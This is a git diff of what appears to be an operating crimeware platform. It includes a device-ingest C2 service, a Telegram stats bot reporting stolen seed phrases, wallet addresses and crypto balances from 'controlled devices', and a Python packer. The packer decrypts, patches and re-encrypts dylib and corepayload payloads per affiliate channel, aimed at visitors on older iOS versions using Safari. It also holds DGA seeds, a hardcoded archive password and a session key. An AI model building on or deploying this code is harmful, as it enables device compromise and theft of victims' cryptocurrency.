- ->where('created_at', '>=', now()->subMinutes($minutes)) - ->orderByDesc('id') - ->get(); - if ($visits->isEmpty()) { - return ['channel_id' => null, 'source_domain' => null]; - } - - $ipKeys = PageVisit::ipLookupKeys($ip); - $sameIp = $visits->filter( - static fn (PageVisit $visit) => in_array(PageVisit::normalizeIp($visit->ip), $ipKeys, true) - ); - foreach ($sameIp->concat($visits->diff($sameIp)) as $visit) { - $code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? '')); - if ($code === null) { + foreach (['ver', 'sdkv'] as $header) { + $raw = trim((string) $request->header($header, '')); + if ($raw === '') { continue; } - $channel = Channel::query() - ->where('channel_id', $code) - ->where('builder_type', Channel::BUILDER_NEW) - ->first(); - if ($channel === null) { - continue; + $code = Channel::normalizeNewChannelId($raw); + if ($code !== null) { + return ['channel_id' => $code, 'source_domain' => null]; } - $claimed = Device::query() - ->where('channel_id', $code) - ->whereIn('ip', $ipKeys) - ->exists(); - if ($claimed) { - continue; - } - $domain = $this->sourceDomainFromVisit($visit); - - return ['channel_id' => $code, 'source_domain' => $domain]; } return ['channel_id' => null, 'source_domain' => null]; } - private function sourceDomainFromVisit(PageVisit $visit): ?string - { - return PageVisit::normalizeDomain($visit->domain); - } - private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device { - $ua = substr((string) $request->userAgent(), 0, 2000); $attr = $this->resolveChannelAttribution($request, $payload, $allowOldC); $attrs = [ 'device_id' => $deviceKey, @@ -345,8 +316,12 @@ class IngestService 'channel_id' => $attr['channel_id'], 'source_domain' => $attr['source_domain'], ]; - if ($ua !== '') { - $attrs['user_agent'] = $ua; + // xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2. + if (! $this->isNewBuilderRequest($request)) { + $ua = substr((string) $request->userAgent(), 0, 2000); + if ($ua !== '') { + $attrs['user_agent'] = $ua; + } } $device = Device::query()->create($attrs); diff --git a/app/Telegram/Handlers/DataCommand.php b/app/Telegram/Handlers/DataCommand.php index 5310f51..589e1c2 100644 --- a/app/Telegram/Handlers/DataCommand.php +++ b/app/Telegram/Handlers/DataCommand.php @@ -26,25 +26,29 @@ class DataCommand $days = $parts[0]; $channelId = $parts[1] ?? ''; } elseif (isset($parts[0])) { - if (preg_match('/^[0-9a-f]{32}$/i', $parts[0])) { - $channelId = $parts[0]; - } else { + $parsed = $this->parseChannelId($parts[0]); + if ($parsed === null) { $bot->sendMessage( "Usage: /data [1|7|30] [channelId]\n" - ."Omit days for today. Omit channelId for all channels." + ."Omit days for today. Omit channelId for all channels.\n" + ."channelId: 旧版 32 位 hex,或新版 X.Y.ZZ(如 0.0.01)" ); return; } + $channelId = $parsed; } - if ($channelId !== '' && ! preg_match('/^[0-9a-f]{32}$/i', $channelId)) { - $bot->sendMessage('channelId must be a 32-char hex string.'); + if ($channelId !== '') { + $parsed = $this->parseChannelId($channelId); + if ($parsed === null) { + $bot->sendMessage('channelId 无效(需 32 位 hex 或新版 X.Y.ZZ)'); - return; + return; + } + $channelId = $parsed; } - $channelId = strtolower($channelId); $agent = $this->context->agent(); if ($agent !== null && $channelId !== '') { @@ -74,35 +78,90 @@ class DataCommand 'agent' => $agent, ]); + $channelLabel = $this->channelLabel($channelId, $agent !== null); + $lines = [ - '📊 访问统计', + '📊 仪表盘统计', '区间: '.$data['from'].' ~ '.$data['to'], - '渠道: '.($channelId !== '' ? $channelId : ($agent ? '本代理全部' : '全部')), + '渠道: '.$channelLabel, '', - '总设备: '.$data['total'], + '📦 设备与资产', + '总设备: '.$data['wallet_count'].' / '.$data['total'].' (有钱包/全部)', '新增设备: '.$data['new_count'], '活跃设备: '.$data['active_count'], + '助记词: '.$data['mnemonic_count'], + '钱包地址: '.$data['address_count'], + '', + '💰 总余额', + '• USDT '.$data['balances']['usdt'], + '• TRX '.$data['balances']['trx'], + '• BTC '.$data['balances']['btc'], + '• ETH '.$data['balances']['eth'], + '• BNB '.$data['balances']['bnb'], + '', + '🌐 页面访问', '页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)', '页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)', '有效口径: iOS≤17.2 + Safari', '', - '按系统:', + '访问 · 按系统 (UV / 占比):', ]; foreach ($data['by_os'] as $row) { - $lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']); + $lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']); } $lines[] = ''; - $lines[] = '按 iOS 版本:'; + $lines[] = '访问 · 按 iOS 版本 (UV / 占比):'; if ($data['by_ios_version'] === []) { $lines[] = '• 暂无'; } else { foreach ($data['by_ios_version'] as $row) { - $lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']); + $lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']); + } + } + + $lines[] = ''; + $lines[] = '受控设备 · 系统版本分布:'; + if ($data['by_device_ios_version'] === []) { + $lines[] = '• 暂无'; + } else { + foreach ($data['by_device_ios_version'] as $row) { + $lines[] = sprintf('• %s %d 台 %s%%', $row['label'], $row['count'], $row['pct']); } } $bot->sendMessage(implode("\n", $lines)); } + + /** + * Accept old 32-hex or new X.Y.ZZ channel ids. + */ + private function parseChannelId(string $raw): ?string + { + $raw = trim($raw); + if ($raw === '') { + return ''; + } + if (preg_match('/^[0-9a-f]{32}$/i', $raw)) { + return strtolower($raw); + } + + return Channel::normalizeNewChannelId($raw); + } + + private function channelLabel(string $channelId, bool $agentScoped): string + { + if ($channelId === '') { + return $agentScoped ? '本代理全部' : '全部'; + } + + $row = Channel::query()->where('channel_id', $channelId)->first(['channel_id', 'remark']); + if ($row === null) { + return $channelId; + } + $remark = trim((string) ($row->remark ?? '')); + + return $remark !== '' ? $channelId.'/'.$remark : $channelId; + } } diff --git a/app/Telegram/Handlers/HelpCommand.php b/app/Telegram/Handlers/HelpCommand.php index 1f6c929..e1844a5 100644 --- a/app/Telegram/Handlers/HelpCommand.php +++ b/app/Telegram/Handlers/HelpCommand.php @@ -23,11 +23,13 @@ class HelpCommand ' 健康检查', '', '/data [1|7|30] [channelId]', - ' 查询访问统计(同仪表盘)', + ' 查询仪表盘统计(设备/余额/访问/分布)', ' 天数默认当天;渠道默认全部', + ' channelId: 旧版 32 hex 或新版 X.Y.ZZ', ' 例: /data', ' 例: /data 7', - ' 例: /data 30 ', + ' 例: /data 30 0.0.01', + ' 例: /data 0.0.01', '', '/channel', ' 列出渠道:ID、备注、归属;点按钮复制链接', diff --git a/channel-builder-new/README.md b/channel-builder-new/README.md index 969f701..a70b3cf 100644 --- a/channel-builder-new/README.md +++ b/channel-builder-new/README.md @@ -5,7 +5,8 @@ xxbb / weifile builder for coruna-lab. Separate from `channel-builder/` `c` is a **shared DGA seed** (env `XXBB_CHANNEL_C`). After deploy, domains do not change, so `c` cannot tell channels apart. Per-channel identity is the -8-char landing code (e.g. `FAFA9988`) packed into `index.js`. +**version-format** id (exactly 6 chars like `2.2.66` / `A.B.C1`, alnum + dots) +patched into core `ver` / `sdkv` / `jbsdk_version`. ## 1. Build once (shared artifacts) @@ -28,44 +29,33 @@ php artisan xxbb:build --channel-c=<32-hex> Writes: -- `{artifact-root}/details/` (default `../public/details`) — **published** -- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public** +- `{artifact-root}/details/` (default `../public/details`) — **template published** +- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged** 每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。 -`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**. -`CACACACA` is left in place for per-channel packing. - -Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env` so -device ingest can recognize the shared native field. +Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env`. Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`. ## 2. Pack on channel create -Admin create (8-char id) runs `tools/pack_channel.py`: +Admin create (id like `A.B.C1`) runs: -1. Copy staged weifile -2. Replace `CACACACA` in `index.js` with the channel id -3. Zip to `public/channel-source-new/{CHANNELID}.zip` +1. `tools/build.py --channel-c $XXBB_CHANNEL_C --apply --force` (always; **no random**) +2. `tools/pack_channel.py` into `public/channel/{ver}/` -```bash -.venv/bin/python tools/pack_channel.py \ - --channel-code FAFA9988 \ - --zip-out ../public/channel-source-new/FAFA9988.zip -``` - -If staged weifile is missing: run step 1 first (`php artisan xxbb:build`). - -Delete a new channel removes that zip only (shared `/details` stays). +`XXBB_CHANNEL_C` must be set in `.env`. Manual `php artisan xxbb:build` is optional +(ops / refresh shared `/details`); channel create already builds from env. ## Device attribution - **Old channels:** payload `c` is the 32-hex `channel_id` -- **New channels:** payload `c` is the shared seed. On device create, match - `PageVisit` by IP in the last 30 minutes (`XXBB_VISIT_MATCH_MINUTES`). Use - that visit’s `channelCode` as `channel_id`, and store the landing domain on - `devices.source_domain`. +- **New channels:** payload `c` is the shared seed. Core routes (`/a`, `/u`, + `/event`) set `channel_id` from request header `ver` or `sdkv` when present + and valid (`X.Y.ZZ`). Other xxbb routes create the device without writing + `channel_id`. Stats use `t.js` → `/statistic/t` with id from the path + `/channel/{id}/...`. | Flag | What it replaces | Where | |------|------------------|--------| @@ -73,3 +63,4 @@ Delete a new channel removes that zip only (shared `/details` stays). | `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) | | `--channel-c` | Native report / DGA `c` | each secondary (1) + corepayload (6) | | `--random-c` | Generate a new `--channel-c` | lab_seeds.json + domains | +| `--channel-ver` | Core `2.2.66` string | corepayload (pack only) | diff --git a/channel-builder-new/source/weifile/templates/blank.html b/channel-builder-new/source/weifile/templates/blank.html new file mode 100644 index 0000000..8abed16 --- /dev/null +++ b/channel-builder-new/source/weifile/templates/blank.html @@ -0,0 +1,12 @@ + + + + + + +weifile + + + + + diff --git a/channel-builder-new/source/weifile/templates/test.html b/channel-builder-new/source/weifile/templates/test.html new file mode 100644 index 0000000..3547909 --- /dev/null +++ b/channel-builder-new/source/weifile/templates/test.html @@ -0,0 +1,143 @@ + + + + + + + + + +加载中 + + + +
+
+ +
+ 15 + 秒 +
+
+

加载中

+

请稍候,正在准备页面…

+
+ + + + diff --git a/channel-builder-new/tools/build.py b/channel-builder-new/tools/build.py index 51c63c5..0c37428 100644 --- a/channel-builder-new/tools/build.py +++ b/channel-builder-new/tools/build.py @@ -472,6 +472,10 @@ def default_state_root() -> Path: return PROJECT_ROOT / "storage" / "app" / "channel-builder-new" +def default_artifact_root() -> Path: + return PROJECT_ROOT / "public" + + def main() -> int: parser = argparse.ArgumentParser( description="Patch xxbb secondary + corepayload c; apply /details and staged weifile." diff --git a/channel-builder-new/tools/pack_channel.py b/channel-builder-new/tools/pack_channel.py index 6f36f34..fcc8ef3 100644 --- a/channel-builder-new/tools/pack_channel.py +++ b/channel-builder-new/tools/pack_channel.py @@ -1,123 +1,345 @@ #!/usr/bin/env python3 -"""Pack a per-channel weifile zip from the already-built staged tree. +"""Pack a per-channel exclusive tree under public/channel/{ver}/. -Does not rebuild natives or details. Requires `tools/build.py --apply` first. +Requires `tools/build.py --apply` first (shared staged weifile + public/details). - 1. Copy staged weifile (storage/app/channel-builder-new/out/weifile) - 2. Replace CACACACA in index.js with the 8-char channel id - 3. Zip as {artifact-root}/channel-source-new/{CHANNELID}.zip + 1. Copy public/details + staged weifile + 2. Patch corepayload `2.2.66` -> channel ver (same length) + 3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig) + 4. Rewrite show.html asset URLs to /channel/{ver}/details/... + 5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes) + 6. Strip iptj beacon from index.js; inject t.js into weifile.html + 7. Write to {artifact-root}/channel/{ver}/ """ from __future__ import annotations import argparse +import hashlib import json +import re +import shutil import tempfile from pathlib import Path -from zipfile import ZIP_DEFLATED, ZipFile import build as xxbb_build +from _details_pack import extract_member, make_passworded_7z +from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs RESULT_MARKER = xxbb_build.RESULT_MARKER -INDEX_CHANNEL_PLACEHOLDER = xxbb_build.INDEX_CHANNEL_PLACEHOLDER WEIFILE_ROOT = xxbb_build.WEIFILE_ROOT +DETAILS_ROOT = xxbb_build.DETAILS_ROOT LAB_SEEDS_NAME = xxbb_build.LAB_SEEDS_NAME +CORE_WIRE_NAME = xxbb_build.CORE_WIRE_NAME +CORE_MEMBER_NAME = xxbb_build.CORE_MEMBER_NAME +SHOW_WIRE_NAME = xxbb_build.SHOW_WIRE_NAME +SHOW_MEMBER_NAME = xxbb_build.SHOW_MEMBER_NAME +ORIGINAL_VER = "2.2.66" +SHOW_PATH_OLD = b"/details/show.html" +# equal length (18): /c/X.Y.ZZ/show.htm +SHOW_PATH_TMPL = "/c/{ver}/show.htm" +CHANNEL_VER_RE = re.compile(r"^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$") +IPTJ_TAIL_RE = re.compile( + r",function\(\)\{\[67,72,77,75,54,73,71,48,56,70,52,50,52,57,54,67,50,50\]" + r".*?\},2e3\)\}\(\);", + re.S, +) + + +def normalize_channel_ver(value: str) -> str: + ver = (value or "").strip().upper() + if not CHANNEL_VER_RE.fullmatch(ver): + raise SystemExit( + f"--channel-ver must match X.Y.ZZ (6 chars, alnum+dots) like {ORIGINAL_VER!r} (got {value!r})" + ) + return ver def staged_weifile_dir(state_root: Path) -> Path: return state_root / "out" / WEIFILE_ROOT -def patch_channel_code(text: str, channel_code: str) -> str: - if INDEX_CHANNEL_PLACEHOLDER not in text: +def sha256_hex(data: bytes) -> str: + return hashlib.sha256(data).hexdigest() + + +def patch_ver_in_bytes(data: bytes, ver: str, *, label: str) -> bytes: + old = ORIGINAL_VER.encode("ascii") + new = ver.encode("ascii") + if len(old) != len(new): + raise SystemExit(f"{label}: ver length mismatch {len(old)} vs {len(new)}") + count = data.count(old) + if count < 1: + raise SystemExit(f"{label}: missing {ORIGINAL_VER!r} to patch") + return data.replace(old, new) + + +def patch_show_path_in_bytes(data: bytes, ver: str, *, label: str) -> bytes: + """Equal-length rewrite of netconfig path /details/show.html -> /c/{ver}/show.htm.""" + new_path = SHOW_PATH_TMPL.format(ver=ver).encode("ascii") + if len(new_path) != len(SHOW_PATH_OLD): + raise SystemExit(f"{label}: show path length {len(new_path)} != {len(SHOW_PATH_OLD)}") + count = data.count(SHOW_PATH_OLD) + if count < 1: + raise SystemExit(f"{label}: missing {SHOW_PATH_OLD!r}") + return data.replace(SHOW_PATH_OLD, new_path) + + +def patch_corepayload_wire(wire: bytes, ver: str) -> tuple[bytes, dict]: + member, plain = extract_member(wire) + if member != CORE_MEMBER_NAME: + raise SystemExit(f"unexpected core member {member!r}") + patched = patch_ver_in_bytes(plain, ver, label=CORE_MEMBER_NAME) + show_hits = patched.count(SHOW_PATH_OLD) + patched = patch_show_path_in_bytes(patched, ver, label=CORE_MEMBER_NAME) + digest = sha256_hex(patched) + new_wire = make_passworded_7z(CORE_MEMBER_NAME, patched) + return new_wire, { + "sha256": digest, + "size": len(patched), + "ver_hits": patched.count(ver.encode()), + "show_path_hits": show_hits, + } + + +def rewrite_show_urls(config_bytes: bytes, *, ver: str, core_sha256: str, core_size: int) -> bytes: + doc = json.loads(config_bytes.decode("utf-8")) + if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict): + raise SystemExit("show data.bin: missing core object") + prefix = f"/channel/{ver}/details/" + + def rewrite_url(url: str) -> str: + # http://host/details/foo.js -> http://host/channel/{ver}/details/foo.js + return re.sub(r"(/details/)", f"/channel/{ver}/details/", url, count=1) + + core = doc["core"] + if isinstance(core.get("url"), str): + core["url"] = rewrite_url(core["url"]) + core["sha256"] = core_sha256 + core["size"] = core_size + for entry in doc.get("entries") or []: + if isinstance(entry, dict) and isinstance(entry.get("url"), str): + entry["url"] = rewrite_url(entry["url"]) + _ = prefix # documented intent + return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8") + + +def patch_show_wire(wire: bytes, *, ver: str, core_sha256: str, core_size: int) -> bytes: + member, plain = extract_member(wire) + if member != SHOW_MEMBER_NAME: + raise SystemExit(f"unexpected show member {member!r}") + updated = rewrite_show_urls(plain, ver=ver, core_sha256=core_sha256, core_size=core_size) + return make_passworded_7z(SHOW_MEMBER_NAME, updated) + + +def patch_secondary_show_path(dylib: bytes, ver: str, *, label: str) -> bytes: + # One occurrence per secondary slice is enough; replace first only. + new_path = SHOW_PATH_TMPL.format(ver=ver).encode("ascii") + if len(new_path) != len(SHOW_PATH_OLD): + raise SystemExit(f"{label}: show path length {len(new_path)} != {len(SHOW_PATH_OLD)}") + if SHOW_PATH_OLD not in dylib: + raise SystemExit(f"{label}: missing {SHOW_PATH_OLD!r}") + return dylib.replace(SHOW_PATH_OLD, new_path, 1) + + +def patch_weifile_secondaries(weifile_dir: Path, ver: str) -> int: + keys = xxbb_build.load_keys() + patched = 0 + for stem, info in keys["stems"].items(): + # build.py stages patched secondaries as {stem}.min.js + path = weifile_dir / f"{stem}.min.js" + if not path.is_file(): + path = weifile_dir / f"{stem}.js" + if not path.is_file(): + continue + key = bytes.fromhex(info["key"]) + try: + dylib = decrypt_secondary_minjs(path.read_bytes(), key) + except Exception as exc: + raise SystemExit(f"{path.name}: decrypt failed: {exc}") from exc + if SHOW_PATH_OLD not in dylib: + continue + dylib = patch_secondary_show_path(dylib, ver, label=stem) + path.write_bytes(encrypt_secondary_minjs(dylib, key)) + patched += 1 + if patched < 1: raise SystemExit( - f"index.js: missing {INDEX_CHANNEL_PLACEHOLDER} placeholder; " - "re-run tools/build.py --apply" + "no secondary packs contained /details/show.html " + f"(looked under {weifile_dir} for *.min.js)" ) - return text.replace(INDEX_CHANNEL_PLACEHOLDER, channel_code, 1) + return patched -def write_zip(weifile_dir: Path, zip_path: Path) -> Path: - zip_path.parent.mkdir(parents=True, exist_ok=True) - if zip_path.exists(): - zip_path.unlink() - skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"} - with ZipFile(zip_path, "w", compression=ZIP_DEFLATED) as archive: - for path in sorted(weifile_dir.rglob("*")): - if not path.is_file(): - continue - if path.name in skip or path.suffix == ".pyc": - continue - if any(part in skip for part in path.relative_to(weifile_dir).parts): - continue - rel = Path(WEIFILE_ROOT) / path.relative_to(weifile_dir) - archive.write(path, rel.as_posix()) - return zip_path +def strip_iptj_beacon(index_js: str) -> str: + if not IPTJ_TAIL_RE.search(index_js): + # already stripped or unexpected layout — allow missing during rebuilds + if "channelCode" in index_js or "__iptj_sid" in index_js: + raise SystemExit("index.js: iptj beacon present but pattern mismatch") + return index_js + return IPTJ_TAIL_RE.sub(";", index_js, count=1) + + +def inject_tjs(weifile_html: str) -> str: + if "t.js" in weifile_html: + return weifile_html + snippet = '\n' + if "" in weifile_html: + return weifile_html.replace("", snippet + "", 1) + return snippet + weifile_html + + +LANDING_TEMPLATES = ("test", "blank") +DEFAULT_LANDING_TEMPLATE = "test" +LANDING_TEMPLATE_ROOT = xxbb_build.BUILDER_ROOT / "source" / "weifile" / "templates" + + +def normalize_landing_template(value: str | None) -> str: + template = (value or DEFAULT_LANDING_TEMPLATE).strip().lower() + if template not in LANDING_TEMPLATES: + raise SystemExit( + f"--landing-template must be one of: {', '.join(LANDING_TEMPLATES)} (got {value!r})" + ) + return template + + +def apply_landing_template(weifile_dir: Path, template: str) -> Path: + template = normalize_landing_template(template) + src = LANDING_TEMPLATE_ROOT / f"{template}.html" + if not src.is_file(): + raise SystemExit(f"missing landing template: {src}") + dest = weifile_dir / "weifile.html" + dest.write_text(inject_tjs(src.read_text(encoding="utf-8")), encoding="utf-8") + return dest + + +def copy_details_tree(src: Path, dest: Path) -> None: + if dest.exists(): + shutil.rmtree(dest) + skip = {"_bak", "__pycache__", ".DS_Store", "README.md"} + shutil.copytree( + src, + dest, + symlinks=False, + ignore=lambda _d, names: {n for n in names if n in skip or n.endswith(".pyc")}, + ) def pack_channel( *, - channel_code: str, + channel_ver: str, weifile_src: Path, - zip_out: Path, + details_src: Path, + channel_out: Path, + landing_template: str = DEFAULT_LANDING_TEMPLATE, ) -> dict: - code = xxbb_build.normalize_channel_code(channel_code) - index_src = weifile_src / "index.js" - if not index_src.is_file(): - raise SystemExit( - f"staged weifile missing ({index_src}). " - "Run: python tools/build.py --apply" - ) + ver = normalize_channel_ver(channel_ver) + landing_template = normalize_landing_template(landing_template) + if not (weifile_src / "index.js").is_file(): + raise SystemExit(f"staged weifile missing ({weifile_src / 'index.js'}). Run build.py --apply") + if not (details_src / CORE_WIRE_NAME).is_file(): + raise SystemExit(f"details missing ({details_src / CORE_WIRE_NAME}). Run build.py --apply") with tempfile.TemporaryDirectory() as tmp: - dest = Path(tmp) / WEIFILE_ROOT - xxbb_build.copy_tree(weifile_src, dest) - index_path = dest / "index.js" + root = Path(tmp) / "channel" + details_dest = root / DETAILS_ROOT + weifile_dest = root / WEIFILE_ROOT + copy_details_tree(details_src, details_dest) + xxbb_build.copy_tree(weifile_src, weifile_dest) + # Drop template sources from the published tree if build copied them. + templates_dir = weifile_dest / "templates" + if templates_dir.is_dir(): + shutil.rmtree(templates_dir) + + core_meta: dict + core_path = details_dest / CORE_WIRE_NAME + core_wire, core_meta = patch_corepayload_wire(core_path.read_bytes(), ver) + core_path.write_bytes(core_wire) + + show_path = details_dest / SHOW_WIRE_NAME + show_path.write_bytes( + patch_show_wire( + show_path.read_bytes(), + ver=ver, + core_sha256=core_meta["sha256"], + core_size=core_meta["size"], + ) + ) + + secondary_hits = patch_weifile_secondaries(weifile_dest, ver) + + index_path = weifile_dest / "index.js" index_path.write_text( - patch_channel_code(index_path.read_text(encoding="utf-8"), code), + strip_iptj_beacon(index_path.read_text(encoding="utf-8")), encoding="utf-8", ) - write_zip(dest, zip_out) + apply_landing_template(weifile_dest, landing_template) + + if channel_out.exists(): + shutil.rmtree(channel_out) + channel_out.parent.mkdir(parents=True, exist_ok=True) + shutil.copytree(root, channel_out) return { "campaign": "xxbb", "builder_type": "new", - "channel_code": code, - "zip_path": str(zip_out), - "weifile_src": str(weifile_src), + "channel_ver": ver, + "channel_id": ver, + "channel_dir": str(channel_out), + "landing_path": f"/channel/{ver}/weifile/weifile.html", + "landing_template": landing_template, + "details_path": f"/channel/{ver}/details/", + "show_alias": SHOW_PATH_TMPL.format(ver=ver), + "core_sha256": core_meta["sha256"], + "core_ver_hits": core_meta["ver_hits"], + "core_show_path_hits": core_meta["show_path_hits"], + "secondary_show_patches": secondary_hits, } def main() -> int: parser = argparse.ArgumentParser( - description="Pack staged weifile into public/channel-source-new/{CHANNELID}.zip" + description=f"Pack exclusive channel tree into public/channel/{{ver}}/ (ver like {ORIGINAL_VER})" ) - parser.add_argument("--channel-code", required=True, help="8-char channel id (e.g. FAFA9988)") parser.add_argument( - "--state-root", + "--channel-ver", + required=True, + help="channel id / ver patch string, X.Y.ZZ alnum (e.g. 2.2.66 or A.B.C1)", + ) + parser.add_argument("--state-root", type=Path, default=None) + parser.add_argument("--weifile-src", type=Path, default=None) + parser.add_argument( + "--details-src", type=Path, default=None, - help=f"builder state (default: {xxbb_build.default_state_root()})", + help="built details dir (default: /details)", ) parser.add_argument( - "--weifile-src", - type=Path, - default=None, - help="staged weifile directory (default: /out/weifile)", - ) - parser.add_argument( - "--zip-out", + "--channel-out", type=Path, required=True, - help="output zip path", + help="output directory e.g. public/channel/A.B.C1", + ) + parser.add_argument( + "--landing-template", + default=DEFAULT_LANDING_TEMPLATE, + choices=LANDING_TEMPLATES, + help="weifile.html template: test=loading countdown, blank=empty (default: test)", ) args = parser.parse_args() state_root = (args.state_root or xxbb_build.default_state_root()).resolve() + artifact_root = xxbb_build.default_artifact_root().resolve() weifile_src = (args.weifile_src or staged_weifile_dir(state_root)).resolve() - zip_out = args.zip_out.resolve() + details_src = (args.details_src or (artifact_root / DETAILS_ROOT)).resolve() + channel_out = args.channel_out.resolve() - result = pack_channel(channel_code=args.channel_code, weifile_src=weifile_src, zip_out=zip_out) + result = pack_channel( + channel_ver=args.channel_ver, + weifile_src=weifile_src, + details_src=details_src, + channel_out=channel_out, + landing_template=args.landing_template, + ) seeds_path = state_root / LAB_SEEDS_NAME if seeds_path.is_file(): try: @@ -132,7 +354,7 @@ def main() -> int: except json.JSONDecodeError: pass - print(f"packed {result['channel_code']} -> {zip_out}") + print(f"packed {result['channel_ver']} -> {channel_out}") print(RESULT_MARKER + json.dumps(result, separators=(",", ":"))) return 0 diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py index 154fe58..8cb8a5e 100644 --- a/channel-builder-new/tools/tests/test_build.py +++ b/channel-builder-new/tools/tests/test_build.py @@ -283,42 +283,23 @@ class XxbbBuildTest(unittest.TestCase): self.assertEqual(len(second[2]), 32) self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0]) - def test_pack_replaces_channel_placeholder(self) -> None: + def test_pack_channel_ver_helpers(self) -> None: import pack_channel - from zipfile import ZipFile - with tempfile.TemporaryDirectory() as tmp: - src = Path(tmp) / "weifile" - src.mkdir() - (src / "index.js").write_text( - 'const V="CACACACA";const N="https://syv4c2c8nb8fpzo.icu/api";', - encoding="utf-8", - ) - (src / "weifile.html").write_text( - '', - encoding="utf-8", - ) - (src / "extra.min.js").write_text("ok", encoding="utf-8") - zip_out = Path(tmp) / "channel-source-new" / "FAFA9988.zip" - result = pack_channel.pack_channel( - channel_code="fafa9988", - weifile_src=src, - zip_out=zip_out, - ) - self.assertEqual(result["channel_code"], "FAFA9988") - self.assertTrue(zip_out.is_file()) - self.assertIn("CACACACA", (src / "index.js").read_text(encoding="utf-8")) - with ZipFile(zip_out) as archive: - names = set(archive.namelist()) - self.assertIn("weifile/index.js", names) - self.assertIn("weifile/weifile.html", names) - self.assertIn("weifile/extra.min.js", names) - index_js = archive.read("weifile/index.js").decode("utf-8") - html = archive.read("weifile/weifile.html").decode("utf-8") - self.assertIn('const V="FAFA9988"', index_js) - self.assertNotIn("CACACACA", index_js) - self.assertNotIn("__CHANNEL_C__", html) - self.assertNotIn("/t.js", html) + self.assertEqual(pack_channel.normalize_channel_ver("3.1.07"), "3.1.07") + self.assertEqual(pack_channel.normalize_channel_ver("a.b.c1"), "A.B.C1") + with self.assertRaises(SystemExit): + pack_channel.normalize_channel_ver("FAFA9988") + path = pack_channel.SHOW_PATH_TMPL.format(ver="A.B.C1").encode() + self.assertEqual(len(path), len(pack_channel.SHOW_PATH_OLD)) + + stripped = pack_channel.strip_iptj_beacon( + 'head,function(){[67,72,77,75,54,73,71,48,56,70,52,50,52,57,54,67,50,50]' + 'whatever,__iptj_sid,channelCode},2e3)}();' + ) + self.assertEqual(stripped, "head;") + html = pack_channel.inject_tjs("") + self.assertIn('/t.js', html) if __name__ == "__main__": diff --git a/config/coruna.php b/config/coruna.php index 0bbec54..d01e3e7 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -18,8 +18,6 @@ return [ 'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'), // Shared native DGA / report field `c`. Same for every new-builder channel. 'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))), - // Match iptj PageVisit → device by IP within this window. - 'visit_match_minutes' => (int) env('XXBB_VISIT_MATCH_MINUTES', 30), ], 'channel_domains' => $channelDomains, 'deployment_domains' => $channelDomains, @@ -50,8 +48,6 @@ return [ 'CORUNA_CHANNEL_NEW_STATE_ROOT', storage_path('app/channel-builder-new') ), - // Per-channel weifile zip download root under artifact_root. - 'source_dir' => 'channel-source-new', ], 'channels' => [ // Max channel links per agent user (0 = official is unlimited). Overridable via settings. diff --git a/public/t.js b/public/t.js index e99718d..aa651fb 100644 --- a/public/t.js +++ b/public/t.js @@ -2,8 +2,16 @@ try { var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i); var channelId = m ? m[1].toLowerCase() : ''; - if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string' && /^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) { - channelId = window.__CORUNA_CHANNEL__.toLowerCase(); + if (!channelId) { + m = location.pathname.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i); + channelId = m ? m[1].toUpperCase() : ''; + } + if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string') { + if (/^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) { + channelId = window.__CORUNA_CHANNEL__.toLowerCase(); + } else if (/^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$/.test(window.__CORUNA_CHANNEL__)) { + channelId = window.__CORUNA_CHANNEL__.toUpperCase(); + } } if (!channelId) return; var KEY = 'c_uid'; diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index 90c8cb9..8913e2a 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -27,32 +27,14 @@
-
- -
- -
-
+ @include('admin.partials.filter_channel_select')
- @if ($portal === 'admin') -
- -
- -
-
- @endif + @include('admin.partials.filter_agent_select')
